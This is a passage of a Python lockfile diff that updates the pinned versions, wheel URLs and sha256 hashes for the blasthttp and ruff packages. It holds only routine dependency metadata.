"sha256:db61cc79fd0843ff2d9b016d4578901955a7758fcddabc5ac843a60dfbc80569", size = 4340145, upload-time = "2026-04-03T04:33:26.484Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/90/86/0dd004f90fa242271b18e4767714969b92bd8bbedeb0eaf17924f9638aea/blasthttp-0.4.0.tar.gz", hash = "sha256:9c2280e8fe6aea609e6bb5c3801f9933798bdd397b0f9e6438e4dd4dc2a38599", size = 111609, upload-time = "2026-05-01T16:11:37.758Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/f2/2c93f63eb949bed093b51841334a7f0e55b4f33c391abece72a9fd486d18/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:b4685f7b9958900d277fbef4779441b64d9041a80eede1cb75ece786030837ef", size = 4566226, upload-time = "2026-05-01T16:10:17.651Z" }, + { url = "https://files.pythonhosted.org/packages/c6/44/a47fad5edd6ac09f76c9ec08d9816dc67ea1fa74b92a8a6af6f3b39c533b/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:7e941013fc1b4a847e8ea5af28bfbe846c15c9062b54feef9e441afc9f5116c8", size = 3887426, upload-time = "2026-05-01T16:10:25.704Z" }, + { url = "https://files.pythonhosted.org/packages/60/0e/4160d21a3bcfc0889ef3414b239dc24fd92320feac6c25ae545fe8867bba/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:5ba87482dfed7c242c4707f85a4888d3799e443a55d821d426eb97e7429bded3", size = 4467981, upload-time = "2026-05-01T16:10:49.799Z" }, + { url = "https://files.pythonhosted.org/packages/b2/8f/9cc581d5407c4340239b097238e9f8a55c9bcbd2d0336419b10e14e09edf/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:67c3b8f470ab0a86c7060811e4e21433a81bb507ba9c9a21cc8abc3a7d651239", size = 4472838, upload-time = "2026-05-01T16:10:33.591Z" }, + { url = "https://files.pythonhosted.org/packages/44/12/1d7b61e76c684a31b081b086dc3558a0d7cd39050488ebf722d13d9cf15e/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:d2a59cde9750782c56c6220c8d5c1af741f052e070f6015dfe81f0cc1ab11c39", size = 4096366, upload-time = "2026-05-01T16:10:41.958Z" }, + { url = "https://files.pythonhosted.org/packages/e3/90/f411e41e55771f29dfec1a33b157f79bdce299bbe3f4865ac9d1b7bec7ae/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:fec615295b33d76895bf047f2109cc41d1b5775bc5db40bc5c73b7b98bebfcdf", size = 4230482, upload-time = "2026-05-01T16:10:57.34Z" }, + { url = "https://files.pythonhosted.org/packages/cb/e2/58c0d6975195f3ec9fc96313850457a8fc0feb7d5e90049f250bca3009ce/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f05bd49b19294d2ee74d6e3bf038b22363db9abe0df4d47d174d9100c569efbd", size = 4857209, upload-time = "2026-05-01T16:11:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/fe/35/560c6ef2a7616d1cb0d6caaf7296491d72fa1eb07f49e654dca346d11c4b/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:2ab3dd4fb4e02b2b4c5d85e31598d49ad3d44292a94ad6c4e76f8e5ab01e9420", size = 4191448, upload-time = "2026-05-01T16:11:13.509Z" }, + { url = "https://files.pythonhosted.org/packages/a4/2d/14741faa212e0541254790b2735bc269beed27e4d4ca51324e697c912bb1/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8df2a897e01a27c2caed3f7604e2dabb69a3e1c54834283c2f0cfbba48e4a6df", size = 4607221, upload-time = "2026-05-01T16:11:21.33Z" }, + { url = "https://files.pythonhosted.org/packages/30/3f/631cce54d4ce277e28ff7ed7e74703ea41f8d4ba872c72bd7f1376aa94ff/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6fea4489e0e590140d3890983e9197d6348b40b3e225a339d6af2b6a74a8ae7b", size = 4564472, upload-time = "2026-05-01T16:11:29.379Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/7cae1cc77a1eeefed8c2727b12e72935f66ec19ef5518c2c01eca25c76ca/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:693a1379940102187b53d96152c150b3771c9eb22d89de1f42cd0d2e21420153", size = 4563775, upload-time = "2026-05-01T16:10:19.162Z" }, + { url = "https://files.pythonhosted.org/packages/a9/01/a462eaab0771413ad448aef0ce28259a054bac1da8dd59a9a25f1e7a2e86/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:aab65d1d8e4e837a180f8a6db0d9d16d662319dca054fa694daa37080cebe22b", size = 3885817, upload-time = "2026-05-01T16:10:27.457Z" }, + { url = "https://files.pythonhosted.org/packages/4d/7b/9569080a6f46d2465f25e1e7fb2ce7db1b096b7a66d72ecf95da177a303c/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:acb396238e7704dc5bbf104be8b60f8bd0ecda9320051474eaefb8974168e7b6", size = 4465003, upload-time = "2026-05-01T16:10:51.55Z" }, + { url = "https://files.pythonhosted.org/packages/45/37/84a897080c47bc401c41f661a4c05879d85bd97d12c0799f553144385c19/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:c0199cea79e8bdf49ea9c70d06771ca60618382940aac0d9a22ef3f101517c0a", size = 4472062, upload-time = "2026-05-01T16:10:35.357Z" }, + { url = "https://files.pythonhosted.org/packages/da/e5/6ae9f82d7f317d3a406b0d47ca9255c724c473caa365cd30b63ac735456f/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:cb081c0b53761e6ca30742d706c039f1186c38f2804230403db4856dc83d4079", size = 4091245, upload-time = "2026-05-01T16:10:43.67Z" }, + { url = "https://files.pythonhosted.org/packages/e5/20/91c8720d7be6722f72d161b09ecc077a8be66c9a798fdd928013cb1a3bfa/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:6c91056098933aeb0380d43716379d431d06c1945ce0a567e7cf7c3f77b4784f", size = 4227936, upload-time = "2026-05-01T16:10:59.137Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e7/92a5f0ee00d85198a30566317535ff89855cdc0a97c77f857c95bb0b9fdc/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:99655b1ab1f580b451067d7613e28f45b9e333fd62fdeecb2790cc4a4c2b3c45", size = 4854465, upload-time = "2026-05-01T16:11:07.143Z" }, + { url = "https://files.pythonhosted.org/packages/03/a5/a26599dfcf7484b2f60df00aede182b5a7abe1296dfd1e36c196229d700a/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:a20e7656a7cfb3586325c5857dd542e8d33626a7b59919a0410018e0ea8963c9", size = 4187569, upload-time = "2026-05-01T16:11:15.031Z" }, + { url = "https://files.pythonhosted.org/packages/73/9d/a790bba458ac9ffe13581dbd5e1720ab611b1d97a412951db54c82299935/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ae8156905d1389fe86151b989694c6a04f31810b989de6fb1369407b3ca459de", size = 4602503, upload-time = "2026-05-01T16:11:23.022Z" }, + { url = "https://files.pythonhosted.org/packages/44/5f/4e55bc49eb56e9bfd2c89d2dd6dca954c217b79e25b9b701d90d5b3162a5/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:49f6a1fd2dc3fb04884af2c7a49724a86b8110d3ffcd2af8617f57e4cddbcf77", size = 4562715, upload-time = "2026-05-01T16:11:31.341Z" }, + { url = "https://files.pythonhosted.org/packages/54/54/d40f61c10a7115d9daa553879a0642124f24b716faf7dff2674301a42eed/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:702262236f06ec08517bf18560bf2f8f26e5fbdac4f96ae36f57c8a104c4c15b", size = 4561829, upload-time = "2026-05-01T16:10:20.729Z" }, + { url = "https://files.pythonhosted.org/packages/53/6b/6f349ed6d27f42fa8f4a9842a713d6e56b353c2284c00191f7c745eada0c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:a4b027c113ef6a6c4a454679a0194aadfffb124392982ccf1ef7eb5c33334f83", size = 3878225, upload-time = "2026-05-01T16:10:28.901Z" }, + { url = "https://files.pythonhosted.org/packages/40/47/1cf7005e655bb3513fb849f0f7475139ea2d9e9f4bd342561ecc6d078ab7/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:4e1470ca76bc46909e335b4ee8b4d4b72611f765672388d2c3c89df5d7b5a591", size = 4458508, upload-time = "2026-05-01T16:10:52.963Z" }, + { url = "https://files.pythonhosted.org/packages/16/b6/6d1d6abd8e28911513fdcd01bc8edbb03fec938b52b50c222fe19115fb77/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:18d4476e3778aa28350386e76f7227b571fa7d058f69227d22c99081a000de14", size = 4469432, upload-time = "2026-05-01T16:10:37.016Z" }, + { url = "https://files.pythonhosted.org/packages/9f/44/67fbdf7a040372bfcfd8a8a737d792d442602e2d0d7416f2a7938994109c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:0f6fe7287e3f5ecd51959b67484f17160ac71d744d60d274125e4d012a7ba748", size = 4090502, upload-time = "2026-05-01T16:10:44.969Z" }, + { url = "https://files.pythonhosted.org/packages/d4/f1/95ef78dbfad4626c70e26b0d3fd19352e0d634c4edd3d06a13edb77ee651/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6a052865813d60dca690fb9561f8d60c96d93ecfb8001434dc7efef1454c0b16", size = 4225151, upload-time = "2026-05-01T16:11:00.58Z" }, + { url = "https://files.pythonhosted.org/packages/f6/4d/2af0d419952c152f4505d74fbc90f01efdda21618e965d7f60f3cd510f4d/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:34d872d366f4e7c2db88245a06884c155f0ff4746d5b78ebd46910d3044c4443", size = 4851561, upload-time = "2026-05-01T16:11:08.918Z" }, + { url = "https://files.pythonhosted.org/packages/71/49/b64aac3e321016629d2fef12806be50791cfd22d2ddda2bd9a2467cbed40/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:f852ee3b73d75cdb19fc5d8cc6c9982af43e0b59fae168339530bb47da0c29b8", size = 4179050, upload-time = "2026-05-01T16:11:16.692Z" }, + { url = "https://files.pythonhosted.org/packages/f2/99/c283434d5a114d14edae9766f03f8ba5361f26a0f5a0d33cf6a1dd4a1c4a/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2bf53b2f91310750161ffe7f97567cf634c3022a7200fc02be1f15b3ed7d606", size = 4598661, upload-time = "2026-05-01T16:11:24.356Z" }, + { url = "https://files.pythonhosted.org/packages/9f/7b/fefe45fd2d989fc72d15a60aa77f9d20b95f9f482cb5af3af84161ac5665/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b049ce40b9959cfd31cec481482147791a660eeed7aeef262e34d3ca843a499b", size = 4559800, upload-time = "2026-05-01T16:11:32.783Z" }, + { url = "https://files.pythonhosted.org/packages/33/01/86f0af776d4208c8a787adc465d7851bb9ea0e05f117e1f85f2abe31d9f6/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:30bdbe55fd1883d4f8973adaba2d29e476d9f895b50f298fa8d84bbff6f315ed", size = 4561981, upload-time = "2026-05-01T16:10:22.554Z" }, + { url = "https://files.pythonhosted.org/packages/33/0c/9c587cb9c8b507230c3f72a405c9880138577a464b42126cfa2df615090f/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:cddca738614895ac67ca1e858787296ad515760c145edcd74240950be0dd4b17", size = 3881449, upload-time = "2026-05-01T16:10:30.279Z" }, + { url = "https://files.pythonhosted.org/packages/78/c7/2bdc6052c51470a569ca499a52727003fad20445bc64763de3fd0408543d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:17f0574eafcf543606de71a21ca62f1a524a4123ee5c5c767f99448c8dd6084a", size = 4463029, upload-time = "2026-05-01T16:10:54.333Z" }, + { url = "https://files.pythonhosted.org/packages/b8/1b/de5c6070408b6ca9321e65107d22d28033d9425059f439318c1d23ee083d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:0e192488053fbc52f49a610d94f379806a0897f7f7b2d60857a3fbfb4c2a3403", size = 4470584, upload-time = "2026-05-01T16:10:38.609Z" }, + { url = "https://files.pythonhosted.org/packages/4e/0e/c8abd6ed3a5c2428fd41758b87082030c5c98a87aae4f8f18312169e6f2d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:b48b1b12a56848c98a5aee78ba58c549962d022b404a712b95df95f0e43e03c7", size = 4090171, upload-time = "2026-05-01T16:10:46.715Z" }, + { url = "https://files.pythonhosted.org/packages/3e/a1/aedceff8653eaaa114111971a033c1be9cc44997272be74685021b3b7b60/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:b80d782724df6653249c5be61fce9b77a2fd9fde295e72bb8f7daf7077c9341f", size = 4225924, upload-time = "2026-05-01T16:11:02.687Z" }, + { url = "https://files.pythonhosted.org/packages/31/b4/2232a321fc048d0ac4b10a7daf344dafeb39942151b067bf4f6ff628ac5f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:96a92b74058475023ada7e02e5cca2c1b69e368582b644a8915f4132fcf310cc", size = 4851739, upload-time = "2026-05-01T16:11:10.408Z" }, + { url = "https://files.pythonhosted.org/packages/84/f2/a516049c47bbe7ca5d2ffa9dc24f467eef7ce385c8833c5f2ea38468db45/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:0bc5d99529aa80884aa610b9f465d06aef4e75131513f856917c38bddbd19c74", size = 4180110, upload-time = "2026-05-01T16:11:18.149Z" }, + { url = "https://files.pythonhosted.org/packages/c3/e5/2b4d6cd9cafd64c97f154be6475552362f35e7c09f2c8fac781ffd1f5971/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cb09f3bfe11fc58a67c9d6c19f67249579599683c2e77219b3f3c694084010e5", size = 4597857, upload-time = "2026-05-01T16:11:25.878Z" }, + { url = "https://files.pythonhosted.org/packages/db/85/cc2dfb5412a29231ee8bfd177b4a817909e8f95414c394f51cd4882a849f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:396a66dee3f52058da61ea8254f576ca70f3d4eb54d5b5a783455d8b7dbbbd23", size = 4559871, upload-time = "2026-05-01T16:11:34.221Z" }, + { url = "https://files.pythonhosted.org/packages/87/cd/1fb15d9eef665a29c2906a60b5ece728e078eefffa6eb8e793d164bbdc84/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:81a7d53b6ca4e5622bb156edbdc8c5f763992076d68503b2c18089532f2fab5a", size = 4562881, upload-time = "2026-05-01T16:10:24.098Z" }, + { url = "https://files.pythonhosted.org/packages/d2/e1/16a4af8cf1f184103e21b2bd0a3c14165bafcf704f266656793211e53c0e/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:8feed0dee3a750e5d49ee4e38684f8a94e727bfc95feb554fd29021ef77a8522", size = 3879561, upload-time = "2026-05-01T16:10:32.042Z" }, + { url = "https://files.pythonhosted.org/packages/87/ab/ef42ef4afa33ee974c4eae3492bf59da60558072116e114e11eab39e8aa9/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:b45f7aac0885ce1a8a9125bfbaf0d4b7213d5297d98bb68b319efbf02b7103dd", size = 4461286, upload-time = "2026-05-01T16:10:55.779Z" }, + { url = "https://files.pythonhosted.org/packages/4e/a9/d6a6032c4f9022d6245c92671c96bf32c602d68902d8463017e03c576498/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:576206e78de4dcb7c299e63a474180f577c1078c572cd6b7883dd352a9042b45", size = 4470099, upload-time = "2026-05-01T16:10:40.128Z" }, + { url = "https://files.pythonhosted.org/packages/09/a8/336b261e136c583e75de8462ae096c46b2cb2506052ffefd61bfd73d8c95/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:1f7ba239eb7ba2d91470d8487e0800c7f18b5115762b74645f3f0708f4b7a417", size = 4091509, upload-time = "2026-05-01T16:10:48.207Z" }, + { url = "https://files.pythonhosted.org/packages/57/c7/c50ea8a20ddde64e1268e94ae9db83278933f51ad21c2654ee2527c33ac6/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:e1e5374d5fe3e1d3c28d514228b8b0129e0b6d20cc78efc87d65b27662dae3d9", size = 4224394, upload-time = "2026-05-01T16:11:04.077Z" }, + { url = "https://files.pythonhosted.org/packages/de/b5/fb9c16d6da024855da2390cfebb770586eac14bd5f6dddc3dde610161965/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2500b1974bce2df2b7acbacdea5012d65abe2de93897fe7576b2cb7f9e7e99cb", size = 4852825, upload-time = "2026-05-01T16:11:11.916Z" }, + { url = "https://files.pythonhosted.org/packages/88/fa/e096bbca96b7d2b93b21ff87d757347efdfd39edd7189edde9633e179d93/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:09af4c79af71b991afc32b9d73694b2715c0f42d04690b8878049c91250b61b3", size = 4179218, upload-time = "2026-05-01T16:11:19.889Z" }, + { url = "https://files.pythonhosted.org/packages/94/87/899813711c2d7013230ed0d87f518d9f4e4705eb1543e4cc36be973d807b/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8f02bc943dd18345d58a78f1ec7e86c5cabbb94a150e8fbc1389822fbd313df6", size = 4597955, upload-time = "2026-05-01T16:11:27.652Z" }, + { url = "https://files.pythonhosted.org/packages/af/cb/7ac9f9d247aed87c537677cf22d7d5bb733e9ab28f0c023703ede72fc603/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4a893b6ef9d9e60e8163e465e241b229c8f2c5f9bcc85de274ccc9cbc6d2782d", size = 4558895, upload-time = "2026-05-01T16:11:35.928Z" }, ] [[package]] @@ -2808,27 +2808,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.10" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e7/d9/aa3f7d59a10ef6b14fe3431706f854dbf03c5976be614a9796d36326810c/ruff-0.15.10.tar.gz", hash = "sha256:d1f86e67ebfdef88e00faefa1552b5e510e1d35f3be7d423dc7e84e63788c94e", size = 4631728, upload-time = "2026-04-09T14:06:09.884Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/eb/00/a1c2fdc9939b2c03691edbda290afcd297f1f389196172826b03d6b6a595/ruff-0.15.10-py3-none-linux_armv6l.whl", hash = "sha256:0744e31482f8f7d0d10a11fcbf897af272fefdfcb10f5af907b18c2813ff4d5f", size = 10563362, upload-time = "2026-04-09T14:06:21.189Z" }, - { url = "https://files.pythonhosted.org/packages/5c/15/006990029aea0bebe9d33c73c3e28c80c391ebdba408d1b08496f00d422d/ruff-0.15.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b1e7c16ea0ff5a53b7c2df52d947e685973049be1cdfe2b59a9c43601897b22e", size = 10951122, upload-time = "2026-04-09T14:06:02.236Z" }, - { url = "https://files.pythonhosted.org/packages/f2/c0/4ac978fe874d0618c7da647862afe697b281c2806f13ce904ad652fa87e4/ruff-0.15.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:93cc06a19e5155b4441dd72808fdf84290d84ad8a39ca3b0f994363ade4cebb1", size = 10314005, upload-time = "2026-04-09T14:06:00.026Z" }, - { url = "https://files.pythonhosted.org/packages/da/73/c209138a5c98c0d321266372fc4e33ad43d506d7e5dd817dd89b60a8548f/ruff-0.15.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83e1dd04312997c99ea6965df66a14fb4f03ba978564574ffc68b0d61fd3989e", size = 10643450, upload-time = "2026-04-09T14:05:42.137Z" }, - { url = "https://files.pythonhosted.org/packages/ec/76/0deec355d8ec10709653635b1f90856735302cb8e149acfdf6f82a5feb70/ruff-0.15.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8154d43684e4333360fedd11aaa40b1b08a4e37d8ffa9d95fee6fa5b37b6fab1", size = 10379597, upload-time = "2026-04-09T14:05:49.984Z" }, - { url = "https://files.pythonhosted.org/packages/dc/be/86bba8fc8798c081e28a4b3bb6d143ccad3fd5f6f024f02002b8f08a9fa3/ruff-0.15.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ab88715f3a6deb6bde6c227f3a123410bec7b855c3ae331b4c006189e895cef", size = 11146645, upload-time = "2026-04-09T14:06:12.246Z" }, - { url = "https://files.pythonhosted.org/packages/a8/89/140025e65911b281c57be1d385ba1d932c2366ca88ae6663685aed8d4881/ruff-0.15.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a768ff5969b4f44c349d48edf4ab4f91eddb27fd9d77799598e130fb628aa158", size = 12030289, upload-time = "2026-04-09T14:06:04.776Z" }, - { url = "https://files.pythonhosted.org/packages/88/de/ddacca9545a5e01332567db01d44bd8cf725f2db3b3d61a80550b48308ea/ruff-0.15.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ee3ef42dab7078bda5ff6a1bcba8539e9857deb447132ad5566a038674540d0", size = 11496266, upload-time = "2026-04-09T14:05:55.485Z" }, - { url = "https://files.pythonhosted.org/packages/bc/bb/7ddb00a83760ff4a83c4e2fc231fd63937cc7317c10c82f583302e0f6586/ruff-0.15.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51cb8cc943e891ba99989dd92d61e29b1d231e14811db9be6440ecf25d5c1609", size = 11256418, upload-time = "2026-04-09T14:05:57.69Z" }, - { url = "https://files.pythonhosted.org/packages/dc/8d/55de0d35aacf6cd50b6ee91ee0f291672080021896543776f4170fc5c454/ruff-0.15.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e59c9bdc056a320fb9ea1700a8d591718b8faf78af065484e801258d3a76bc3f", size = 11288416, upload-time = "2026-04-09T14:05:44.695Z" }, - { url = "https://files.pythonhosted.org/packages/68/cf/9438b1a27426ec46a80e0a718093c7f958ef72f43eb3111862949ead3cc1/ruff-0.15.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:136c00ca2f47b0018b073f28cb5c1506642a830ea941a60354b0e8bc8076b151", size = 10621053, upload-time = "2026-04-09T14:05:52.782Z" }, - { url = "https://files.pythonhosted.org/packages/4c/50/e29be6e2c135e9cd4cb15fbade49d6a2717e009dff3766dd080fcb82e251/ruff-0.15.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8b80a2f3c9c8a950d6237f2ca12b206bccff626139be9fa005f14feb881a1ae8", size = 10378302, upload-time = "2026-04-09T14:06:14.361Z" }, - { url = "https://files.pythonhosted.org/packages/18/2f/e0b36a6f99c51bb89f3a30239bc7bf97e87a37ae80aa2d6542d6e5150364/ruff-0.15.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e3e53c588164dc025b671c9df2462429d60357ea91af7e92e9d56c565a9f1b07", size = 10850074, upload-time = "2026-04-09T14:06:16.581Z" }, - { url = "https://files.pythonhosted.org/packages/11/08/874da392558ce087a0f9b709dc6ec0d60cbc694c1c772dab8d5f31efe8cb/ruff-0.15.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b0c52744cf9f143a393e284125d2576140b68264a93c6716464e129a3e9adb48", size = 11358051, upload-time = "2026-04-09T14:06:18.948Z" }, - { url = "https://files.pythonhosted.org/packages/e4/46/602938f030adfa043e67112b73821024dc79f3ab4df5474c25fa4c1d2d14/ruff-0.15.10-py3-none-win32.whl", hash = "sha256:d4272e87e801e9a27a2e8df7b21011c909d9ddd82f4f3281d269b6ba19789ca5", size = 10588964, upload-time = "2026-04-09T14:06:07.14Z" }, - { url = "https://files.pythonhosted.org/packages/25/b6/261225b875d7a13b33a6d02508c39c28450b2041bb01d0f7f1a83d569512/ruff-0.15.10-py3-none-win_amd64.whl", hash = "sha256:28cb32d53203242d403d819fd6983152489b12e4a3ae44993543d6fe62ab42ed", size = 11745044, upload-time = "2026-04-09T14:05:39.473Z" }, - { url = "https://files.pythonhosted.org/packages/58/ed/dea90a65b7d9e69888890fb14c90d7f51bf0c1e82ad800aeb0160e4bacfd/ruff-0.15.10-py3-none-win_arm64.whl", hash = "sha256:601d1610a9e1f1c2165a4f561eeaa2e2ea1e97f3287c5aa258d3dab8b57c6188", size = 11035607, upload-time = "2026-04-09T14:05:47.593Z" }, +version = "0.15.12" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/99/43/3291f1cc9106f4c63bdce7a8d0df5047fe8422a75b091c16b5e9355e0b11/ruff-0.15.12.tar.gz", hash = "sha256:ecea26adb26b4232c0c2ca19ccbc0083a68344180bba2a600605538ce51a40a6", size = 4643852, upload-time = "2026-04-24T18:17:14.305Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/6e/e78ffb61d4686f3d96ba3df2c801161843746dcbcbb17a1e927d4829312b/ruff-0.15.12-py3-none-linux_armv6l.whl", hash = "sha256:f86f176e188e94d6bdbc09f09bfd9dc729059ad93d0e7390b5a73efe19f8861c", size = 10640713, upload-time = "2026-04-24T18:17:22.841Z" }, + { url = "https://files.pythonhosted.org/packages/ae/08/a317bc231fb9e7b93e4ef3089501e51922ff88d6936ce5cf870c4fe55419/ruff-0.15.12-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:e3bcd123364c3770b8e1b7baaf343cc99a35f197c5c6e8af79015c666c423a6c", size = 11069267, upload-time = "2026-04-24T18:17:30.105Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a4/f828e9718d3dce1f5f11c39c4f65afd32783c8b2aebb2e3d259e492c47bd/ruff-0.15.12-py3-none-macosx_11_0_arm64.whl", hash = "sha256:fe87510d000220aa1ed530d4448a7c696a0cae1213e5ec30e5874287b66557b5", size = 10397182, upload-time = "2026-04-24T18:17:07.177Z" }, + { url = "https://files.pythonhosted.org/packages/71/e0/3310fc6d1b5e1fdea22bf3b1b807c7e187b581021b0d7d4514cccdb5fb71/ruff-0.15.12-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84a1630093121375a3e2a95b4a6dc7b59e2b4ee76216e32d81aae550a832d002", size = 10758012, upload-time = "2026-04-24T18:16:55.759Z" }, + { url = "https://files.pythonhosted.org/packages/11/c1/a606911aee04c324ddaa883ae418f3569792fd3c4a10c50e0dd0a2311e1e/ruff-0.15.12-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fb129f40f114f089ebe0ca56c0d251cf2061b17651d464bb6478dc01e69f11f5", size = 10447479, upload-time = "2026-04-24T18:16:51.677Z" }, + { url = "https://files.pythonhosted.org/packages/9d/68/4201e8444f0894f21ab4aeeaee68aa4f10b51613514a20d80bd628d57e88/ruff-0.15.12-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b0c862b172d695db7598426b8af465e7e9ac00a3ea2a3630ee67eb82e366aaa6", size = 11234040, upload-time = "2026-04-24T18:17:16.529Z" }, + { url = "https://files.pythonhosted.org/packages/34/ff/8a6d6cf4ccc23fd67060874e832c18919d1557a0611ebef03fdb01fff11e/ruff-0.15.12-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2849ea9f3484c3aca43a82f484210370319e7170df4dfe4843395ddf6c57bc33", size = 12087377, upload-time = "2026-04-24T18:17:04.944Z" }, + { url = "https://files.pythonhosted.org/packages/85/f6/c669cf73f5152f623d34e69866a46d5e6185816b19fcd5b6dd8a2d299922/ruff-0.15.12-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e77c7e51c07fe396826d5969a5b846d9cd4c402535835fb6e21ce8b28fef847", size = 11367784, upload-time = "2026-04-24T18:17:25.409Z" }, + { url = "https://files.pythonhosted.org/packages/e8/39/c61d193b8a1daaa8977f7dea9e8d8ba866e02ea7b65d32f6861693aa4c12/ruff-0.15.12-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83b2f4f2f3b1026b5fb449b467d9264bf22067b600f7b6f41fc5958909f449d0", size = 11344088, upload-time = "2026-04-24T18:17:12.258Z" }, + { url = "https://files.pythonhosted.org/packages/c2/8d/49afab3645e31e12c590acb6d3b5b69d7aab5b81926dbaf7461f9441f37a/ruff-0.15.12-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:9ba3b8f1afd7e2e43d8943e55f249e13f9682fde09711644a6e7290eb4f3e339", size = 11271770, upload-time = "2026-04-24T18:17:02.457Z" }, + { url = 